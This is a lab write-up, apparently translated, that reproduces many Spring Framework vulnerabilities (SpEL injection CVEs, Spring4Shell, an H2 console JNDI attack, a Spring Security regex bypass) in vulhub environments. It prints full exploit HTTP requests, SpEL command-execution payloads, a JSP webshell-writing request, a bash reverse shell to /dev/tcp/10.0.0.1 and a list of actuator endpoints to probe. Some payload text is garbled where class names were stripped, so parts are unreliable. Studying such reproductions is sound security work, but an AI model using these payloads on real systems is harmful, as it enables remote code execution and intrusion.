Spring Framework Vulnerability Summary

Most of the following vulnerability reproductions come fromvulhub, this post is mainly to familiarize and understand the attack process of common vulnerabilities, and of course, some of my own explanation of the principles.

SpEL injection attack

Spring H2 Database Console Unauthorized Access

• Vulnerability Principles

  • Explanation of vulhub
    H2 database is a Java in-memory database, mostly used for unit testing. h2 database comes with a web management page, in Spirng development, if we set the following options, we can allow external users to access the web management page, and no authentication:

    spring.=true
    spring.-allow-others=true
    

    Using this administration page, we can perform a JNDI injection attack and thus execute arbitrary commands in the target environment.
  • My additions
    Reference Article:Spring Boot + H2 Database JNDI Injection
    Here is a JNDI injection, in the web page to enter our rmi server, that is, remotely bind our method, and then go to the http server to load the malicious class class, the attack was successful.

• Affected versions
  H2 database is used in Spring Boot. The vulnerability occurs whenever it is not set up properly

• lit. loophole is reproduced
  Access Routing/h2-console Come to the page.
  
  Build your own rmi server and get http loaded with malicious classes, but we can just use Big Brother's integration tool, JNDI, to help piggyback off of it:/welk1n/JNDI-Injection-Exploit
  Open a malicious server:
  Setting up the commands to be executed by -C
  (-A is the first NIC address by default, -A your server address, I'll default it here)
  

  Before attacking, go into the container and check to make sure the hacker file doesn't exist.
  (since the command we executed was touch /tmp/hacker)
  

  According to your java version (1.8 or above it is recommended to choose the first one on the line) select the rmi address, and then in the web vulnerability exist on the page to enter the

  
  rmi://your-ip:1099/9b8j4m
  

  Clicking on a connection launches an attackrmi server responds

  Inside the container you can see that it was created successfully
  

Spring Security OAuth2 Remote Command Execution Vulnerability (CVE-2016-4977)

• Vulnerability Principles
  Reference:/2016/10/spring-security-oauth-rce
  Note: The url accessed in the referenced article is not the same as the one given by vulhub, I'm following vulhub's below.
  put it simply: The SpEL injection here is caused by rendering an error message, due to the fact that the errorSummary is loaded into the model, which then enters the function and recursively extracts the SpEL expression for execution.

• Affected versions
  Spring Security OAuth2 2.0.0 ~ 2.0.9
  Spring Security OAuth2 1.0.0 ~ 1.0.5

• lit. loophole is reproduced
  interviews/oauth/authorize?response_type=${233*1}&client_id=acme&scope=openid&redirect_uri=http://test
  
  Enter admin/admin if you need to log in.
  Then it will be found that our SpEL injected expression is in:response_type=${233*1}
  Then it is possible to passScript: /vulhub/vulhub/blob/master/spring/CVE-2016-4977/ to generate the corresponding SpEL expression
  
  Encoding before using the script, here encode the command you want to execute, here use base64, to perform a bounce shell operation.
  
  and then use the script to generate the SpEL expression.
  Format for:bash -c {echo, put your base64 encoding here|{base64,-d}|{bash,-i}
  
  Then the server opens a listener to accept the bounce shell.
  
  Then you can put the payload into the parameterresponse_type=${payload here}
  
  You can see that bouncing the shell was successful
  

Spring WebFlow Remote Code Execution Vulnerability (CVE-2017-4971)

• Vulnerability Principles
  Reference Article:/2017/06/13/Spring-Web-Flow/
  Simply put: we need to add an additional parameter, and starts with _, as a payload to be passed to the backend for parsing, and the root cause is the addDefaultMappings function in the parameterNames we passed in to bind parsing, and parsing the class for the expressionParser, the class The default value of expressionParser can parse SpEL expressions, so by controlling the parameters, it causes the SpEL injection attack.
  It follows that there are also prerequisites:

• The default value of useSpringBeanBinding (false) in the MvcViewFactoryCreator class has not been changed.

• The model attribute is specified in the view-state node in the webflow configuration file, and no parameters for the binding are specified, i.e., no binder node is configured in the view-state

• Affected version: 2.

• lit. loophole is reproduced
  
  Come to the login page
  /login
  
  
  Access:/hotels/1 Make a hotel reservation
  
  
  Fill in whatever you want and submit
  
  To open the capture, click comfirm
  
  To perform a bounce shell function here, then turn on nc listening on the server first
  
  Then fill in the payload of the bounce shell: (remember to url-encode the payload)
  _(new ("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
  Perform url encoding ↓↓↓↓ perform url encoding
  _(new+("bash","-c","bash+-i+>%26+/dev/tcp/10.0.0.1/21+0>%261")).start()=vulhub
  
  Send packet, return 500 is normal
  
  Check nc already see the bounce shell!
  

Spring Data Rest Remote Command Execution Vulnerability (CVE-2017-8046)

• Vulnerability Principles
  Reference Article:/2017/09/29/
  Simply put: by submitting a PATCH request op for replace, the evaluateValueFromTarget method of the parent class PatchOperation is called, but there is a flaw here in that there is no check to see if the paths are logical, which then leads to the parameter values of setValueOnTarget going forward to continue the SpEL expression parsing.

• Affected versions
  Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
  Spring Boot version < 2.0.0M4
  Spring Data release trains < Kay-RC3

• lit. loophole is reproduced
  The container is opened and accessed directly:/customers/1
  
  The grab bag was modified to:
  This SpEL expression operates as: touch /tmp/successThe specific execution commands can be controlled by modifying the bytes themselves.

  PATCH /customers/1 HTTP/1.1
  Host: localhost:8080
  Accept-Encoding: gzip, deflate
  Accept: */*
  Accept-Language: en
  User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  Connection: close
  Content-Type: application/json-patch+json
  Content-Length: 202
  
  [{ "op": "replace", "path": "T().getRuntime().exec(new (new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}))/lastname", "value": "vulhub" }]
  

Check to see if the file exists in the container before placing the package:
docker exec -it 3b2e846b1012 ls /tmp
Put the package back to 400

Returning to the container to view it is created

Spring Messaging Remote Command Execution Vulnerability (CVE-2018-1270)

• Vulnerability Principles
  Websocket is a protocol specification proposed by html5, which is designed to solve the problem of real-time communication between the client and the server, after establishing a connection, the two sides can, at any moment, push information to each other.
  STOMP is a sub-protocol of websocket that mainly specifies what to transmit. But in this vulnerability you only need to know SUBSCRIBE for subscribing to a message and registering the destination of the subscription and SEND for sending the message. These two commands are enough to understand the principle of the vulnerability.
  Generally, the connection is established as subscribe, and send is the message sent after the connection.

In spring messaging, it allows clients to subscribe to messages and filter them using a selector. selectors are written in SpEL expressions and parsed using StandardEvaluationContext, resulting in a command execution vulnerability.

Extracting Big Brother's summary：

• Parses the expression by sending a SUBSRIBE message andSave to the destination specified in the message
• When a SEND message is sent, all stubs are retrieved from the destination address, the stubs are traversed and the corresponding expression is retrieved and the getValue method is called to trigger the vulnerability.

To put it bluntly is the first subscription, this action is to establish a good connection, the latter must use this connection, and then through this connection to trigger you to subscribe to the malicious payload inserted, but this trigger is in accordance with the real environment, that is to say, you need to find after the establishment of the connection to which can be sent to the action of the route, this route is the developer in the development of the definition of time, so you need to find in order to send. So you need to find it before you can send.
As shown in the figure: first connect and then go to send, it is through this way to attack.
(ps: I tried my best to establish the same connection to send when I grabbed packets, but I just couldn't establish a good connection in the form of a packet grabber, so I really just had to use a poc script to attack)

---

---

• Affected versions
  Spring Framework 5.0 to 5.0.4
  Spring Framework 4.3 to 4.3.14

• lit. loophole is reproduced
  Although my computer can't reproduce it by grabbing a packet, it's still a good idea to go through the process
  1. Open the shooting range
  
  2. Click connect in the webpage to grab the packet and send the payload

"SUBSCRIBE\nselector:T().getRuntime().exec('touch /tmp/success')\nid:sub-0\ndestination:/topic/greetings\n\n\u0000"

3. If your establishment is successful, that is to say, the web page can be clicked on the words disconnect on behalf of you have successfully connected, and then click send send packet capture.
(here no need to dwell on why is app/hello, because it is a demo for you to reproduce, the real environment, if you click on your own to send send packets appear to catch down, in fact, you click on the send is already attacked into the main thing is that you are in the establishment of the connection, whether or not to successfully insert the payload into it)

["SEND\ncontent-length:16\ndestination:/app/hello\n\n{\"name\":\"aaaaa\"}\u0000"]

If you look at /tmp/ under the container and there is a success it means the attack was successful.
Since I have not been successful in this way to reproduce the use of attack scripts to reproduce the script can help you always use this connection and then you do not have to grab packets to put packets and so on to establish a connection.
Download the script:
If you're using the vulhub range to reproduce just change line 56 (if not find subscribe and send on your own)

First check to make sure the success file does not exist in the range (since the attack command is to create the success file)

Then run the py script directly.
Here I modified the script a little bit to print out the DATA data sent, the attack process is more clear.
As you can see it's just a solid three steps:
1. Establish the connection first
2. Send a subscription with SpEL malicious code added to the subscription message
3. Send a message to trigger SpEL parsing

Viewing the container reveals that the file has been successfully created

Spring Data Commons Remote Command Execution Vulnerability (CVE-2018-1273)

• Vulnerability Principles
  vulhub explains:
  Spring Data is an open source framework for simplifying database access and supporting cloud services, and Spring Data Commons is the underlying framework shared by all the subprojects under Spring Data.Spring Data Commons has a SpEL expression injection vulnerability in version 2.0.5 and earlier, which allows an attacker to inject a malicious SpEL expression to execute arbitrary commands. malicious SpEL expressions to execute arbitrary commands.
• Understanding: (if you can't read it, it is recommended that you read the following vulnerability reproduction first)
  Look directly at the loophole incident:
  
  A look at the code shows a lot of manipulation of the parameter name (propertyName), followed by setting the expression object with the propertyName
  
  Then went into the spel expression parsing, the root cause is getPropertyPath on the parameter name only judgment, but the use of the parameter name is still the original one, so lead us to modify the parameter name through the parameter name will be able to carry out the SpEL injection attack.
  This can continue to look at the code will see that the function is indeed a regular match, but after returning to the original parameter name does not seem to see the replacement, so still use the original parameter name to parse.
  
• Affected version: 2.0.5 and earlier versions
• lit. loophole is reproduced
  interviews/users
  Grab a random package and replace it with:

POST /users?page=&size=5 HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Content-Length: 124
Pragma: no-cache
Cache-Control: no-cache
Origin: http://localhost:8080
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://localhost:8080/users?page=0&size=5
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8

username[#().forName("").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

Make sure the /tmp/success file doesn't exist in the container before you send the packet, because the code we're attacking creates the /tmp/success file on the fly

Then send the packet and return 500

Check the file to confirm the attack was successful

Spring Cloud Gateway Actuator API SpEL Expression Injection Command Execution (CVE-2022-22947)

• Vulnerability Principles
  Spring Cloud Gateway is an API gateway in Spring. Its 3.1.0 and 3.0.6 versions (inclusive) previously existed a SpEL expression injection vulnerability, when an attacker can access the Actuator API, will be able to exploit the vulnerability to execute arbitrary commands.
  Here I did not figure out the exact code where the vulnerability occurs, here we know the attack process, anyway, it is able to customize the route, and then add it via refresh route, and then you can use your customized route, theSpecific SpEL injection code is injected when you customize the route, refresh is to trigger the route to perform SpEL, view your route is to view the results of the implementation of the。
• Impact version:
  Spring Cloud Gateway 3.1.0
  Spring Cloud Gateway 3.0.6
• lit. loophole is reproduced
  Randomly grabbing and modifying packets
  1. Customized routing

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T().copyToByteArray(T().getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": ""
}

2. Refresh the add route and execute SpEL.

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

3. View the results of the implementation

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

Spring Cloud Function SpEL Expression Command Injection (CVE-2022-22963)

• Vulnerability Principles
  The functionRouter in SpringCloud Function supports SpEL, and following up on the code, we found that the StandardEvaluationContext ends up parsing the header's value with a SpEL expression.
  The root cause is that is to say in the framework can be added directly to the header value, changed to be able to execute SpEL -expression beans, the value of which is written into the SpEL code, the code will eventually determine -expression is not empty, the value of which will be passed to functionFromExpression, and ultimately resolved the SpEL.
• Affected versions
  springcloud Function 3.0 or above
• lit. loophole is reproduced
  After opening the container, first make sure that the /tmp/success file does not exist
  
  packet

POST /functionRouter HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
-expression: T().getRuntime().exec("touch /tmp/success")
Content-Type: text/plain
Content-Length: 4

test

A second look reveals that the file was created successfully

---

This concludes the list of SpEL injection related vulnerabilities.
Here are some Spring vulnerabilities that are not about SpEL.

Spring Framework Remote Command Execution Vulnerability (CVE-2022-22965)

• Vulnerability Principles
  vulhub explains:
  Spring MVC or Spring WebFlux applications running on JDK 9+ may be vulnerable to Remote Code Execution (RCE) attacks via data binding. The specific vulnerability requires the application to be running in a WAR deployment on Tomcat. If the application is deployed as a Spring Boot executable jar (i.e., the default), it is less vulnerable. However, the vulnerability is more general in nature and there may be other ways to exploit it.

• Affected versions
  Spring Framework 5. ~ 5.3.18
  Spring Framework ~ 5.2.20
  Deploying spring with tomcat < 9.0.62 and using POJO parameter binding.

• lit. loophole is reproduced
  Grab any packet and modify it to the following packet (remember there are two more returns)

GET /?=%25%7Bc2%7Di%20if(%22j%((%22pwd%22)))%7B%%20in%20%3D%20%25%7Bc1%().exec((%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%(b))!%3D-1)%7B%(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&=.jsp&=webapps/ROOT&=tomcatwar&= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

Then you can use the command directly remotely
Access:/?pwd=j&cmd=id The cmd is the command you want to execute.

Spring Security Authentication Bypass (CVE-2022-22978)

• Vulnerability Principles
  After reading countless vulnerability parses, it's really a case of authentication bypassing because of a mismatch in the regular match, resulting in no secure authentication being performed.
  The place where the accident happened is:
  ().regexMatchers("/admin/. *", "you passed in the uri").authenticated();
  It's because of the.* Because . is not matched \r\n (i.e. %0a or %0d), so when you pass in \r \n will match the error, resulting in the return of false, then the authentication will not be carried out, then bypassed directly into the background.
  Of course you need to know the people backstage uri, for example, here the range is admin, then in the bypass as long as the front with admin, and then you also bypass through the %0a or %0d, no matter what path after your admin will take you into the admin backstage, so do not care about what path after your admin, as long as the bypass with the regular match of %0a or %0d So don't worry about what path you have after admin, just bring the %0a or %0d that bypasses the regular match.
• Affected Versions: Spring Security 5.5.6 ~ 5.6.3
• lit. loophole is reproduced
  There's nothing to it, just find the backend uri and splice %0a or %0d after it to bypass it.
  before reaching the limit
  
  after a detour
  

SpringBoot Information Leakage

• Vulnerability Principles
  I won't analyze it here.
  Featured Article:Spring Boot Information Leakage Summary

Here are the common routes for information leakage
You can fuzz through a dictionary
or
Open source scanning tools on github can be used:SpringBoot-Scan

/api-docs
/v2/api-docs
/
/
/sw/
/api/
/template/
/spring-security-rest/api/
/spring-security-oauth-resource/
/mappings
/actuator/mappings
/metrics
/actuator/metrics
/beans
/actuator/beans
/configprops
/actuator/configprops
/actuator
/auditevents
/autoconfig
/caches
/conditions
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/health
/actuator/conditions
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/scheduledtasks
/actuator/httptrace
/actuator/jolokia
/actuator/

For example ↓ (real environment, so thick code attached)

---

(spring more than these vulnerabilities, just from the vulhub in the vulnerability to reproduce as well as parse the understanding)
Subsequently, when this loose cultivator breakthrough realm has the ability to try to open the relevant vulnerability source code analysis.

---